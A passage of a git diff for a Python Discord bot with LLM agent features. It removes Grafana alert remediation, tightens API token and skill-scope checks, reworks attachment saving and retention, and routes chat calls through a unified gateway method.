legacy) value.setdefault("request_timeout_seconds", 3600) return value @@ -1281,7 +1307,6 @@ class WebhookConfig(BaseModel): secret: str = "" channel_id: str = "" gitea_channel_id: str = "" - grafana_channel_id: str = "" github_channel_id: str = "" gitlab_channel_id: str = "" @@ -1424,12 +1449,12 @@ def _port_range(cls, v): def resolve_api_identity(self, token: str) -> ApiTokenIdentity | None: """Look up identity for an API token. Falls back to default if single token configured.""" - import hmac + from ..web.authentication import credential_equals for t in self.api_tokens: - if t.token and hmac.compare_digest(t.token, token): - return t - if self.api_token and hmac.compare_digest(self.api_token, token): + if t.token and credential_equals(t.token, token): + return t if t.tier in {"admin", "user", "guest"} else None + if self.api_token and credential_equals(self.api_token, token): return ApiTokenIdentity( token=self.api_token, user_id="api-admin", @@ -1507,32 +1532,6 @@ class ImageConfig(BaseModel): openai: ImageOpenAIConfig = ImageOpenAIConfig() -class GrafanaRemediationRuleConfig(BaseModel): - id: str = "" - name_pattern: str = "*" # fnmatch pattern for alertname - label_matchers: dict[str, str] = Field(default_factory=dict) - severity_filter: list[str] = Field(default_factory=list) # empty = match all - remediation_goal: str = "" - mode: str = "notify" # "notify", "act", "silent" - interval_seconds: int = 30 - max_iterations: int = 10 - cooldown_seconds: int = 300 - - @field_validator("mode") - @classmethod - def _validate_mode(cls, v: str) -> str: - if v not in ("notify", "act", "silent"): - raise ValueError(f"Invalid mode '{v}'. Must be 'notify', 'act', or 'silent'.") - return v - - -class GrafanaAlertConfig(BaseModel): - auto_remediate: bool = False - rules: list[GrafanaRemediationRuleConfig] = Field(default_factory=list) - cooldown_seconds: int = 300 - max_concurrent_remediations: int = 5 - - class MCPServerConfig(BaseModel): enabled: bool = True transport: str = "stdio" # "stdio" or "http" @@ -1595,6 +1594,8 @@ class EmailImapConfig(BaseModel): class EmailConfig(BaseModel): enabled: bool = False + # Explicit opt-out for private/self-signed mail servers only. + tls_verify: bool = True smtp: EmailSmtpConfig = EmailSmtpConfig() imap: EmailImapConfig = EmailImapConfig() max_body_chars: int = 50_000 @@ -1797,7 +1798,6 @@ class Config(BaseModel): mcp: MCPConfig = MCPConfig() audit: AuditConfig = AuditConfig() agents: AgentsConfig = AgentsConfig() - grafana_alerts: GrafanaAlertConfig = GrafanaAlertConfig() outbound_webhooks: OutboundWebhooksConfig = OutboundWebhooksConfig() graceful_degradation: GracefulDegradationConfig = GracefulDegradationConfig() llm_recovery: LLMRecoveryConfig = LLMRecoveryConfig() @@ -1811,7 +1811,7 @@ def _adapt_legacy_agent_model(cls, data): return data # Old files selected a provider separately. Preserve that selection on # first model-first load by materializing its configured model ref. - provider_cfg = data.get("llm_provider") + provider_cfg = data.get("llm_provider", {}) if isinstance(provider_cfg, dict) and "model" not in provider_cfg: active = provider_cfg.get("active_provider", "codex") data = dict(data) @@ -1853,7 +1853,7 @@ def _adapt_legacy_agent_model(cls, data): return data @model_validator(mode="after") - def _derive_active_provider_from_main_model(self): + def _derive_active_provider_from_main_model(self, info: ValidationInfo): """Keep legacy provider consumers truthful without a second selector.""" from ..llm.model_ref import parse_model_ref @@ -1861,6 +1861,28 @@ def _derive_active_provider_from_main_model(self): if ref.provider.value not in ("codex", "ollama", "compat", "kimi"): raise ValueError("main model must select a concrete serving provider") self.llm_provider.active_provider = ref.provider.value # type: ignore[assignment] + from ..tools.agent_tool_policy import configured_agent_model + + pairs: list[tuple[str, str | None, str | None]] = [ + ("main", self.llm_provider.model, self.openai_codex.reasoning_effort) + ] + if ( + self.agents.model != AGENT_SETTING_AUTO + and self.openai_codex.agent_reasoning_effort != AGENT_SETTING_AUTO + ): + pairs.append(( + "agent", configured_agent_model(self), + self.openai_codex.agent_reasoning_effort or self.openai_codex.reasoning_effort, + )) + for axis, model, effort in pairs: + if model and not model.startswith(("compat:", "ollama:", "kimi:")): + error = effort_incompatibility_error(model.removeprefix("codex:"), effort) + if error: + if info.context and info.context.get("startup"): + from ..odin_log import get_logger + get_logger("config").warning("Effective model/effort pair: %s", error) + else: + raise ValueError(f"{axis} settings: {error}") from ..tools.agent_tool_policy import ( validate_agent_entry_defaults, validate_agent_model_hints, @@ -2014,7 +2036,7 @@ def load_config(path: str | Path = "config.yml") -> Config: migrate_retired_codex_selections(data) try: - cfg = Config(**data) + cfg = Config.model_validate(data, context={"startup": True}) except Exception as exc: raise SystemExit( f"Config validation failed: {exc}\n" @@ -2030,7 +2052,7 @@ def load_config(path: str | Path = "config.yml") -> Config: _KNOWN_REMOVED_TOP_LEVEL_CONFIG_KEYS = frozenset( - {"comfyui", "issue_tracker", "reaction_triggers", "message_triggers", "slack"} + {"comfyui", "issue_tracker", "reaction_triggers", "message_triggers", "slack", "grafana_alerts"} ) diff --git a/src/config/webhook_text.py b/src/config/webhook_text.py index d51df842f..9019edd15 100644 --- a/src/config/webhook_text.py +++ b/src/config/webhook_text.py @@ -113,7 +113,7 @@ def _append_entry(self, mapping: Any, key: str, value: Any) -> None: if mapping.flow_style: position = mapping.end_mark.index - 1 fragment = _render({key: value}, flow=True)[1:-1] - self._splice(position, position, (", " if mapping.value else "") + fragment) + self._splice(position, position, self._flow_separator(mapping) + fragment) else: self._insert_lines( self._line_end(_content_end(mapping)), @@ -148,7 +148,9 @@ def append(self, row: dict[str, Any]) -> None: return if sequence.flow_style: position = sequence.end_mark.index - 1 - self._splice(position, position, ", " + _render(row, flow=True)) + self._splice( + position, position, self._flow_separator(sequence) + _render(row, flow=True) + ) else: # Our emitter offsets the dash by two spaces; match the existing # dash, not the mapping's first key, for indentless sequences too. @@ -158,7 +160,24 @@ def append(self, row: dict[str, Any]) -> None: self._indented([row], indent), ) + def _flow_separator(self, node: Any) -> str: + if not node.value: + return "" + last = node.value[-1][1] if isinstance(node, MappingNode) else node.value[-1] + # Tokens distinguish a real separator from commas inside comments. + trailing = any( + isinstance(token, FlowEntryToken) + and _content_end(last) <= token.start_mark.index < node.end_mark.index - 1 + for token in _yaml().scan(self.text) + ) + return " " if trailing else ", " + def delete(self, index: int) -> None: + _, _, _, sequence = self._nodes() + if sequence.flow_style and len(sequence.value) == 1: + row = sequence.value[index] + self._splice(row.start_mark.index, sequence.end_mark.index - 1, "") + return _, _, key, sequence = self._nodes() row = sequence.value[index] if sequence.flow_style: diff --git a/src/discord/attachments.py b/src/discord/attachments.py index 06471daea..7d67058cd 100644 --- a/src/discord/attachments.py +++ b/src/discord/attachments.py @@ -16,6 +16,7 @@ import shutil import tarfile import time +import uuid import zipfile from dataclasses import dataclass, field from enum import Enum @@ -23,6 +24,7 @@ from typing import Any from ..odin_log import get_logger +from ..tools.media_result import BinaryAttachment log = get_logger("attachments") @@ -75,6 +77,7 @@ class AttachmentResult: saved_files: list[SavedAttachment] = field(default_factory=list) warnings: list[str] = field(default_factory=list) processing_ms: int = 0 + retained_content: list[BinaryAttachment] = field(default_factory=list, repr=False) def infer_attachment_intent( @@ -180,6 +183,19 @@ def _workspace(self, channel_id: str, message_id: str) -> Path: ws.mkdir(parents=True, exist_ok=True) return ws + def _save(self, att: Any, data: bytes, channel_id: str, message_id: str) -> Path: + """Exclusive, per-attachment paths, even after sanitization or reprocessing.""" + ws = self._workspace(channel_id, message_id) + safe = _safe_filename(att.filename) or "attachment" + while True: + path = ws / (uuid.uuid4().hex + "-" + safe) + try: + with path.open("xb") as saved: + saved.write(data) + return path + except FileExistsError: + continue + async def process( self, attachments: list[Any], @@ -205,7 +221,7 @@ async def process( # PDFs if ext == ".pdf": - await self._handle_pdf(att, text_parts, result) + await self._handle_pdf(att, channel_id, message_id, text_parts, result) continue # Archives @@ -258,7 +274,8 @@ async def _handle_image( text_parts.append(f"[Image: {att.filename} (failed: {e})]") async def _handle_pdf( - self, att: Any, text_parts: list[str], result: AttachmentResult, + self, att: Any, channel_id: str, message_id: str, + text_parts: list[str], result: AttachmentResult, ) -> None: if att.size > self.pdf_max_bytes: text_parts.append( @@ -273,6 +290,22 @@ async def _handle_pdf( pages = [f"Page {i+1}: {p.get_text()}" for i, p in enumerate(doc)] full = "\n".join(pages) preview = _preview_text(full, ".pdf", self.preview_max_chars) + if len(full) > self.preview_max_chars: + save_path = self._save(att, data, channel_id, message_id) + result.saved_files.append(SavedAttachment( + filename=att.filename, path=str(save_path), size=len(data), + sha256=_sha256(data), content_type="application/pdf", kind="pdf", + )) + result.retained_content.extend([ + BinaryAttachment(len(result.retained_content), + f"PDF source: {att.filename}", "application/pdf", data), + BinaryAttachment(len(result.retained_content) + 1, + f"PDF extracted text: {att.filename}; " + "page-labelled PyMuPDF", + "text/plain; charset=utf-8", full.encode("utf-8")), + ]) + text_parts.append(f"[Full PDF source saved: `{save_path}`. " + "Full page-labelled extraction retained with source below.]") text_parts.append( f"**Attached PDF: {att.filename}** ({doc.page_count} pages)\n" f"```\n{preview}\n```\n" @@ -298,17 +331,18 @@ async def _handle_text( intent_note = (" User requested knowledge ingestion; use ingest_document if " "appropriate.") - if att.size <= self.inline_max_bytes: + if len(data) <= self.inline_max_bytes and len(text) <= self.preview_max_chars: preview = _preview_text(text, ext, self.preview_max_chars) text_parts.append( f"**Attached file: {att.filename}**\n```\n{preview}\n```\n" f"[File read for current task.{intent_note}]" ) else: - ws = self._workspace(channel_id, message_id) - safe = _safe_filename(att.filename) - save_path = ws / safe - save_path.write_bytes(data) + save_path = self._save(att, data, channel_id, message_id) + result.retained_content.append(BinaryAttachment( + len(result.retained_content), f"Original text file: {att.filename}", + att.content_type or "text/plain", data, + )) preview = _preview_text(text, ext, self.large_preview_chars) text_parts.append( @@ -317,7 +351,7 @@ async def _handle_text( f"SHA256: `{digest[:16]}...`\n" f"```\n{preview}\n```\n" f"[Large file previewed for current task. " - f"Full file available at the saved path for shell tools.]" + f"Full file available at the saved path for read_file.{intent_note}]" ) result.saved_files.append(SavedAttachment( filename=att.filename, path=str(save_path), @@ -340,14 +374,11 @@ async def _handle_archive( try: data = await att.read() digest = _sha256(data) - ws = self._workspace(channel_id, message_id) - safe = _safe_filename(att.filename) - archive_path = ws / safe - archive_path.write_bytes(data) + archive_path = self._save(att, data, channel_id, message_id) ext = _get_ext(att.filename) manifest_lines: list[str] = [] - extract_dir = ws / safe.rsplit(".", 1)[0] + extract_dir = archive_path.with_name(archive_path.name + ".extracted") if ext == ".zip": manifest_lines, extracted = await asyncio.to_thread( @@ -498,10 +529,7 @@ async def _handle_binary( try: data = await att.read() digest = _sha256(data) - ws = self._workspace(channel_id, message_id) - safe = _safe_filename(att.filename) - save_path = ws / safe - save_path.write_bytes(data) + save_path = self._save(att, data, channel_id, message_id) text_parts.append( f"[Attachment saved: `{save_path}` " diff --git a/src/discord/background_task.py b/src/discord/background_task.py index 264df412a..6618514d9 100644 --- a/src/discord/background_task.py +++ b/src/discord/background_task.py @@ -20,7 +20,6 @@ from ..llm.secret_scrubber import scrub_output_secrets from ..odin_log import get_logger from ..search.errors import InvalidSearchQuery -from ..tools.executor import _ERROR_RESULT_PREFIXES from ..tools.result_validator import ToolResult from ..tools.risk_classifier import classify_tool from .tool_loop_helpers import _scrub_tool_input_for_storage, ensure_failure_visible @@ -227,7 +226,7 @@ async def run_background_task( continue # Evaluate condition - if condition and prev_output: + if condition: if not _check_condition(condition, prev_output): task.results.append( StepResult( @@ -442,12 +441,6 @@ async def run_background_task( ) -def _get_default_host(executor: ToolExecutor, requester_id: str = "") -> str: - """Use explicit requester/runtime default policy, never mapping order.""" - resolver = getattr(executor, "_resolve_default_host", None) - return resolver(requester_id or None) if callable(resolver) else "" - - def _is_error_output(output: str) -> bool: """Detect error strings returned as successful results by executor/handlers.""" if not output: @@ -464,7 +457,9 @@ def _is_error_output(output: str) -> bool: # The executor's own canonical error grammar ("Error…", "Command failed", # "Script failed", "Blocked…", "Unknown or disallowed host") — the same # prefix set ensure_failure_visible treats as already-visible failures. - if output.startswith(_ERROR_RESULT_PREFIXES): + from ..tools.execution_outcome import is_tool_failure + + if is_tool_failure(output): return True return False @@ -642,11 +637,30 @@ async def _execute_tool_captured( target_name = tool_input.get("name") if not target_name: return "Error: invoke_skill requires 'name'." + from ..tools.output_authorization import tool_scope_allows + + if not tool_scope_allows(target_name): + return ToolResult( + output="Permission denied: selected skill scope revoked or unavailable.", + ok=False, error="permission_denied", tool_name=tool_name, + ) if not skill_manager.has_skill(target_name): return f"Error: skill '{target_name}' not found or disabled." skill_input = tool_input.get("input") or {} if not isinstance(skill_input, dict): return "Error: invoke_skill 'input' must be an object." + definitions = skill_manager.get_tool_definitions() + if not isinstance(definitions, list): + return "Error: invoke_skill selected skill catalog is unavailable." + from ..tools.nested_payload import validate_nested_payload + + try: + validate_nested_payload( + "invoke_skill", {"name": target_name, "input": skill_input}, + definitions, allow_placeholders=False, + ) + except ValueError as exc: + return f"Error: invoke_skill invalid selected skill input: {exc}" return await skill_manager.execute( target_name, skill_input, requester_id=requester_id or None ) @@ -661,11 +675,8 @@ async def _execute_tool_captured( # consume .ok so a failed/uncertain MCP step aborts per on_failure. return await dispatch_mcp_tool(mcp_manager, tool_name, tool_input) - # Built-in tools via executor — default missing required fields - if "host" not in tool_input: - default_host = _get_default_host(executor, requester_id) - if default_host: - tool_input = {**tool_input, "host": default_host} + # Let the executor apply each tool's host contract. In particular, + # http_probe omission means local and apply_patch requires explicit host. # run_command/run_script: if 'command'/'script' missing, let executor handle it # (it will return an error that _is_error_output catches) # Return the structured result — run_background_task consumes .ok so a @@ -892,6 +903,19 @@ async def _send_conversational_followup( await task.channel.send(response) except Exception as e: log.warning("Failed to generate conversational follow-up for task %s: %s", task.task_id, e) + from ..llm.errors import LLMIncompleteResponseError + + if isinstance(e, LLMIncompleteResponseError) and not task._cancel_event.is_set(): + import io + + partial = scrub_output_secrets(e.partial_text) + notice = "[Provider marked this response incomplete.]" + if len(partial) + len(notice) + 2 <= 2000: + await task.channel.send(partial + "\n\n" + notice) + else: + await task.channel.send(notice, file=discord.File( + io.BytesIO(partial.encode("utf-8")), filename="incomplete-response.txt", + )) def create_task_id() -> str: diff --git a/src/discord/channel_logger.py b/src/discord/channel_logger.py index c4aa8a2df..e3e7f0120 100644 --- a/src/discord/channel_logger.py +++ b/src/discord/channel_logger.py @@ -7,6 +7,7 @@ from __future__ import annotations import hashlib +import heapq import json import threading import time @@ -207,13 +208,15 @@ def search(self, query: str, limit: int = 20, channel_id: str | None = None, """Keyword search on JSONL files (fallback when FTS is unavailable). Returns dicts with content, author, channel_id, timestamp, type="channel". - Reads files in reverse (newest messages first) for better relevance. + Merge matches globally by timestamp before applying the result limit. """ validate_search_query(query) results: list[dict] = [] query_lower = query.lower() - if not query_lower: + if not query_lower or limit <= 0: return results + newest: list[tuple[float, int, dict]] = [] + ordinal = 0 try: if not self._log_dir.exists(): return results @@ -238,17 +241,21 @@ def search(self, query: str, limit: int = 20, channel_id: str | None = None, continue content = record.get("content", "") if query_lower in content.lower(): - results.append({ + match = { "content": content[:500], "author": record.get("author", "Unknown"), "channel_id": record.get("channel_id", ""), "timestamp": record.get("ts", 0.0), "type": "channel", - }) - if len(results) >= limit: - return results + } + ordinal += 1 + entry = (match["timestamp"], ordinal, match) + if len(newest) < limit: + heapq.heappush(newest, entry) + elif entry[:2] > newest[0][:2]: + heapq.heapreplace(newest, entry) except Exception: continue except Exception: log.debug("Channel log keyword search failed", exc_info=True) - return results + return [entry[2] for entry in sorted(newest, reverse=True)] diff --git a/src/discord/channel_state.py b/src/discord/channel_state.py index 66637b4d3..f10033a86 100644 --- a/src/discord/channel_state.py +++ b/src/discord/channel_state.py @@ -25,6 +25,8 @@ from .steer_notifications import SteerNotifier, finish_steer_notifications, notify_steer if TYPE_CHECKING: + import discord + from .background_task import BackgroundTask log = get_logger("discord") @@ -96,8 +98,8 @@ def __init__( self.processed_messages: collections.OrderedDict[int, None] = collections.OrderedDict() self.processed_messages_max = processed_messages_max # Bot message buffer: accumulate rapid-fire bot messages before processing - # Key: (channel_id, author_id) → list of content strings - self.bot_msg_buffer: dict[tuple[str, str], list[str]] = {} + # Key: (channel_id, author_id) → original messages (including attachments) + self.bot_msg_buffer: dict[tuple[str, str], list[discord.Message]] = {} self.bot_msg_tasks: dict[tuple[str, str], asyncio.Task] = {} self.bot_msg_buffer_delay = bot_msg_buffer_delay # seconds to wait for more self.bot_msg_buffer_max = bot_msg_buffer_max # max messages per bot+channel diff --git a/src/discord/client.py b/src/discord/client.py index 5ee133139..384ae3561 100644 --- a/src/discord/client.py +++ b/src/discord/client.py @@ -264,7 +264,10 @@ async def start_application(self) -> None: if self.loop is discord.utils.MISSING: await discord.Client._async_setup_hook(self) try: - report = self._run_startup_diagnostics(yaml_config=self.config) + report = self._run_startup_diagnostics( + yaml_config=self.config, + credential_inventory=self.api_token_manager.credential_inventory, + ) self.startup_report = report for r in report.results: level = log.warning if not r.passed else log.info diff --git a/src/discord/intake_pipeline.py b/src/discord/intake_pipeline.py index b60a4d7ea..ef431c90f 100644 --- a/src/discord/intake_pipeline.py +++ b/src/discord/intake_pipeline.py @@ -21,9 +21,10 @@ import asyncio import io +import json from collections.abc import Callable from dataclasses import dataclass -from typing import TYPE_CHECKING +from typing import TYPE_CHECKING, Any import discord @@ -64,6 +65,7 @@ class MessageIntakeDeps: channel_state: ChannelStateRegistry sessions: SessionManager pipeline: MessagePipeline # the post-gate hand-off + tool_executor: Any = None # authorized full attachment output retention class MessageIntake: @@ -75,6 +77,7 @@ def __init__(self, deps: MessageIntakeDeps) -> None: self._channel_state = deps.channel_state self._sessions = deps.sessions self._pipeline = deps.pipeline + self._tool_executor = getattr(deps, "tool_executor", None) def is_allowed_user(self, user: discord.User | discord.Member) -> bool: if not self._get_config().discord.allowed_users: @@ -138,7 +141,22 @@ async def _process_attachments( for w in result.warnings: log.warning("Attachment warning: %s", w) - return result.inline_text, result.image_blocks + text = result.inline_text + retained = getattr(result, "retained_content", None) + if retained and self._tool_executor is not None: + try: + manifest = self._tool_executor.retain_attachments( + retained, tool_name="get_tool_output", user_id=str(message.author.id), + channel_id=str(message.channel.id), + ) + text += "\n[Full attachment contents, in labelled source order. " + text += "Retrieve via the existing authorized get_tool_output path; " + text += "decode and concatenate binary pages before ingestion.]\n" + text += json.dumps(manifest) + except Exception: + log.exception("Attachment output retention failed") + text += "\n[Full-content output retrieval unavailable; no cursor was issued.]" + return text, result.image_blocks async def handle(self, message: discord.Message) -> None: from .tool_loop_helpers import _ALLOWED_WEBHOOK_IDS @@ -279,7 +297,7 @@ async def handle(self, message: discord.Message) -> None: if len(buf) >= self._channel_state.bot_msg_buffer_max: log.warning("Bot buffer full (%d msgs) for %s, dropping oldest", len(buf), buf_key) buf.pop(0) - buf.append(scrub_output_secrets(message.content)) + buf.append(message) # Cancel previous timer for this bot+channel if buf_key in self._channel_state.bot_msg_tasks: @@ -292,7 +310,8 @@ async def _flush_bot_buffer(key, orig_msg): self._channel_state.bot_msg_tasks.pop(key, None) if not parts: return - combined = combine_bot_messages(parts) + contents = [scrub_output_secrets(part.content or "") for part in parts] + combined = combine_bot_messages(contents) log.info( "Bot buffer flushed: %d messages from %s combined", len(parts), orig_msg.author ) @@ -317,7 +336,7 @@ async def _flush_bot_buffer(key, orig_msg): return mention_str = f"<@{bot_user.id}>" mention_nick = f"<@!{bot_user.id}>" - if not any(mention_str in p or mention_nick in p for p in parts): + if not any(mention_str in p or mention_nick in p for p in contents): log.info( "Bot buffer discarded: no mention found in %d messages from %s", len(parts), @@ -328,11 +347,17 @@ async def _flush_bot_buffer(key, orig_msg): if self._get_user(): combined = combined.replace(f"<@{self._get_user().id}>", "").strip() combined = combined.replace(f"<@!{self._get_user().id}>", "").strip() - if combined: + image_blocks = [] + for part in parts: + attachment_text, images = await self._process_attachments(part, combined) + if attachment_text: + combined += "\n\n" + scrub_output_secrets(attachment_text) + image_blocks.extend(images) + if combined or image_blocks: await self._pipeline.run( orig_msg, - combined, - image_blocks=[], + combined or "(see attached image)", + image_blocks=image_blocks, from_another_bot=True, ) @@ -541,7 +566,7 @@ async def _run_inner( query=content, ) try: - response = await self._llm_gateway.active_client.chat( + response = await self._llm_gateway.chat( messages=history, system=chat_prompt, ) @@ -551,6 +576,12 @@ async def _run_inner( except Exception as e: log.warning("LLM chat failed: %s", e) response = "Chat is temporarily unavailable. Please try again in a moment." + from ..llm.errors import LLMIncompleteResponseError + + if isinstance(e, LLMIncompleteResponseError): + response = ( + e.partial_text + "\n\n[Provider marked this response incomplete.]" + ) is_error = True else: log.info("No chat backend configured for guest user") @@ -697,7 +728,7 @@ async def _run_inner( }, ] try: - response = await self._llm_gateway.active_client.chat( + response = await self._llm_gateway.chat( messages=codex_messages, system=chat_prompt, ) @@ -708,6 +739,13 @@ async def _run_inner( except Exception as e: log.warning("Codex handoff failed, using skill result directly: %s", e) response = _skill_response + from ..llm.errors import LLMIncompleteResponseError + + if isinstance(e, LLMIncompleteResponseError): + response = ( + e.partial_text + "\n\n[Provider marked this response incomplete.]" + ) + is_error = True already_sent = False except (TimeoutError, discord.HTTPException, discord.Forbidden) as e: # Same raw-interpolation disease as the tool-loop catch: str() on diff --git a/src/discord/llm_gateway.py b/src/discord/llm_gateway.py index db169c1fb..df1e625b0 100644 --- a/src/discord/llm_gateway.py +++ b/src/discord/llm_gateway.py @@ -295,6 +295,10 @@ def notify_generation_success(self, provider: str | None) -> None: def wire_callbacks(self) -> None: """Attach LLM-backed compaction and reflection callbacks using the active provider.""" + if self.auxiliary_llm_client is not None: + primary = self.capture_serving_identity() + self.auxiliary_llm_client.primary_client = primary.client + self.auxiliary_llm_client.primary_model = primary.model # Compaction emits a segment of up to ~2500 chars (≈625 tokens) plus # structured header lines; reflection emits multi-lesson JSON. The old @@ -312,10 +316,7 @@ async def _named_task(task: str, messages: list[dict], system: str, max_tokens: aux = self.auxiliary_llm_client if aux is not None: return await aux.chat(messages, system, task=task, max_tokens=max_tokens) - client = self.active_client - if not client: - raise RuntimeError("No LLM provider configured") - return await client.chat(messages=messages, system=system, max_tokens=max_tokens) + return await self.chat(messages=messages, system=system, max_tokens=max_tokens) async def _llm_compaction(messages: list[dict], system: str) -> str: return await _named_task("compaction", messages, system, 1500) @@ -344,13 +345,26 @@ def _reconcile_auxiliary_primary(self) -> None: probes the configured wrapper. """ aux = self.auxiliary_llm_client + primary = self.capture_serving_identity() + if aux is not None: + # Existing calls already captured and leased their old fallback. + aux.primary_client = primary.client + aux.primary_model = primary.model # Compatible/Ollama auxiliary wrappers borrow the provider transport. # A provider reload retires that concrete generation, so the wrapper - # must be removed rather than retaining a stale client. + # must be rebuilt before retiring the stale wrapper. if aux is not None and getattr(aux, "provider", "codex") != "codex": provider_client = self._provider_client(getattr(aux, "provider", "")) if getattr(aux, "aux_client", None) is not provider_client: - self.auxiliary_llm_client = None + from ..llm.auxiliary import AuxiliaryLLMClient + + self.auxiliary_llm_client = ( + AuxiliaryLLMClient( + provider_client, primary.client, self.cost_tracker, + provider=aux.provider, model=aux.model, owns_aux_client=False, + primary_model=primary.model, + ) if provider_client is not None else None + ) self._schedule_drain(aux) return if self.codex_client is None and getattr(aux, "provider", "codex") == "codex": @@ -359,11 +373,6 @@ def _reconcile_auxiliary_primary(self) -> None: self._schedule_drain(aux) return if aux is not None: - if ( - getattr(aux, "provider", "codex") == "codex" - and getattr(aux, "primary_client", None) is not self.codex_client - ): - aux.primary_client = self.codex_client return # Primary present, no live wrapper: build it if configured+enabled. # reload_auxiliary is self-locking — schedule it so it runs AFTER this @@ -574,6 +583,7 @@ def _build_aux_candidate(self, desired: dict, primary, build: _AuxBuildInputs, s provider=serving.provider, model=serving.model, owns_aux_client=False, + primary_model=self.capture_serving_identity().model, ), probe_client aux_auth = primary.auth if not aux_auth.is_configured(): @@ -607,6 +617,10 @@ async def _probe_aux(self, client) -> str | None: await client.chat([{"role": "user", "content": "ok"}], "", max_tokens=1) return None except Exception as exc: + if isinstance(exc, LLMRequestError) and exc.code in { + "output_truncated", "empty_response", + }: + return None # Only this deliberately tiny qualification request. return f"model probe failed: {type(exc).__name__}" async def run_persist_settled(self, persist_sync): @@ -897,6 +911,8 @@ async def reload_openai_compatible_inner(self) -> dict: return {"configured": False, "reason": "openai-compatible disabled in config"} if not cfg.api_key: return {"configured": False, "reason": "openai-compatible api_key not set"} + from ..llm.openai_compatible import preset_context_overflow_pattern + candidate = OpenAICompatibleClient( api_key=cfg.api_key, model=cfg.model, @@ -906,6 +922,9 @@ async def reload_openai_compatible_inner(self) -> dict: request_timeout_seconds=cfg.request_timeout_seconds, stream_stall_timeout_seconds=cfg.stream_stall_timeout_seconds, tool_quirks=self._compatible_quirks(cfg), + context_overflow_pattern=preset_context_overflow_pattern( + getattr(cfg, "preset", "custom") + ), reasoning_dialect=self._compatible_reasoning_dialect(cfg), glm_clear_thinking=getattr(cfg, "glm_clear_thinking", None), reasoning_content_feedback_policy=getattr( @@ -918,11 +937,16 @@ async def reload_openai_compatible_inner(self) -> dict: ), model_profiles=getattr(cfg, "model_profiles", None), ) - reason = await self._probe_openai_compatible(candidate) - if reason: - self._schedule_client_drain(candidate) - return {"configured": self.compatible_client is not None, "reason": reason} - old, self.compatible_client = self.compatible_client, candidate + installed = False + try: + reason = await self._probe_openai_compatible(candidate) + if reason: + return {"configured": self.compatible_client is not None, "reason": reason} + old, self.compatible_client = self.compatible_client, candidate + installed = True + finally: + if not installed: + self._schedule_client_drain(candidate) self._reconcile_auxiliary_primary() if old: self._schedule_client_drain(old) @@ -980,6 +1004,7 @@ async def switch_provider( provider_config.active_provider = provider if model_ref is not None: provider_config.model = model_ref + self._reconcile_auxiliary_primary() self.wire_callbacks() if self.on_provider_switch is not None: self.on_provider_switch() @@ -1020,6 +1045,16 @@ async def switch_provider( # ---------- guarded call -------------------------------------------------- + async def chat(self, messages, system, max_tokens=None): + """Direct-text lane with the same canonical selection as tool dispatch.""" + serving = self.capture_serving_identity() + if serving.client is None: + raise RuntimeError("No LLM provider configured") + kwargs = {"max_tokens": max_tokens} + if serving.model: + kwargs["model"] = serving.model + return await serving.client.chat(messages=messages, system=system, **kwargs) + async def call_with_tools( self, *, @@ -1070,6 +1105,8 @@ async def call_with_tools( # cached learned block in the physical request. if system_provider is not None: system = system_provider() + if serving.model: + kwargs.setdefault("model", serving.model) resp = await client.chat_with_tools( messages=messages, system=system, tools=tools, **kwargs ) diff --git a/src/discord/native_tools/agents_tasks.py b/src/discord/native_tools/agents_tasks.py index 4c1ce1824..a31ff1c3f 100644 --- a/src/discord/native_tools/agents_tasks.py +++ b/src/discord/native_tools/agents_tasks.py @@ -841,7 +841,7 @@ async def _codex_followup(messages: list[dict], system: str, max_tokens: int) -> return await aux.chat( messages, system, task="background_followup", max_tokens=max_tokens ) - return await self._llm_gateway.active_client.chat( + return await self._llm_gateway.chat( messages=messages, system=system, max_tokens=max_tokens, @@ -1118,7 +1118,9 @@ async def _attempt(): request_kwargs["apply_reasoning"] = reasoning_capable return await client.chat_with_tools(**request_kwargs) - resp = await generate_with_recovery(_attempt, policy=policy, breaker=breaker) + resp = await generate_with_recovery( + _attempt, policy=policy, breaker=breaker, generation_client=client, + ) # Bypass-path success clears a latched llm_* guard key — provenance # only, never the post-await active provider. self._llm_gateway.notify_generation_success(getattr(resp, "provenance_provider", None)) diff --git a/src/discord/native_tools/media.py b/src/discord/native_tools/media.py index 495908ce2..35bab841c 100644 --- a/src/discord/native_tools/media.py +++ b/src/discord/native_tools/media.py @@ -339,7 +339,10 @@ async def _handle_generate_image(self, message, inp: dict): meta["delivery_status"] = "upload_failed" log.info("image generated (backend=%s) but upload failed: %s", result.backend, e) return ToolResult( - output=f"Failed to upload generated image to Discord: {e}", + output=(f"Failed to upload generated image to Discord: {e}. " + "Generation already succeeded; do not regenerate automatically."), + ok=False, + error="image_delivery_failed", tool_name="generate_image", audit_metadata=meta, ) diff --git a/src/discord/native_tools/skills_tools.py b/src/discord/native_tools/skills_tools.py index 38ffbd9a7..32c89d005 100644 --- a/src/discord/native_tools/skills_tools.py +++ b/src/discord/native_tools/skills_tools.py @@ -138,6 +138,14 @@ async def dispatch( target_name = tool_input.get("name") if not target_name: return "Error: invoke_skill requires 'name'.", effects + from ...tools.output_authorization import tool_scope_allows + from ...tools.result_validator import ToolResult + + if not tool_scope_allows(target_name): + return ToolResult( + output="Permission denied: selected skill scope revoked or unavailable.", + ok=False, error="permission_denied", tool_name=tool_name, + ), effects if not self.skill_manager.has_skill(target_name): return ( f"Error: skill '{target_name}' not found or disabled. " diff --git a/src/discord/prompts.py b/src/discord/prompts.py index a7c2bf927..3eb4a273e 100644 --- a/src/discord/prompts.py +++ b/src/discord/prompts.py @@ -308,7 +308,7 @@ def build_chat_prompt( """Build a lightweight system prompt for chat-routed messages. Includes identity, rules, memory, and personality but omits - infrastructure details, tool docs, host lists, and PromQL to + infrastructure details, tool docs, and host lists to save input tokens on casual conversation. """ config = self.get_config() diff --git a/src/discord/response_guards.py b/src/discord/response_guards.py index 217925bc1..f4715b0f6 100644 --- a/src/discord/response_guards.py +++ b/src/discord/response_guards.py @@ -800,7 +800,7 @@ def truncate_tool_output(text: str, max_chars: int = TOOL_OUTPUT_MAX_CHARS) -> s Tool results stay in the messages list and are re-sent as input tokens on every subsequent iteration of the tool loop. Capping output prevents - a single large result (Prometheus JSON, file contents, long command output) + a single large result (API JSON, file contents, long command output) from ballooning costs across iterations. """ from ..tools.output_delivery import DeliveredOutput, deliver diff --git a/src/discord/scheduled_events.py b/src/discord/scheduled_events.py index b8ff685e2..08054c2ce 100644 --- a/src/discord/scheduled_events.py +++ b/src/discord/scheduled_events.py @@ -136,7 +136,11 @@ async def _on_scheduled_digest(self, schedule: dict) -> None: labels += ", …" summary += f"\n\nCollection failed for {len(failed)} of {total} checks: {labels}" - await channel.send(scrub_response_secrets(f"**Daily Infrastructure 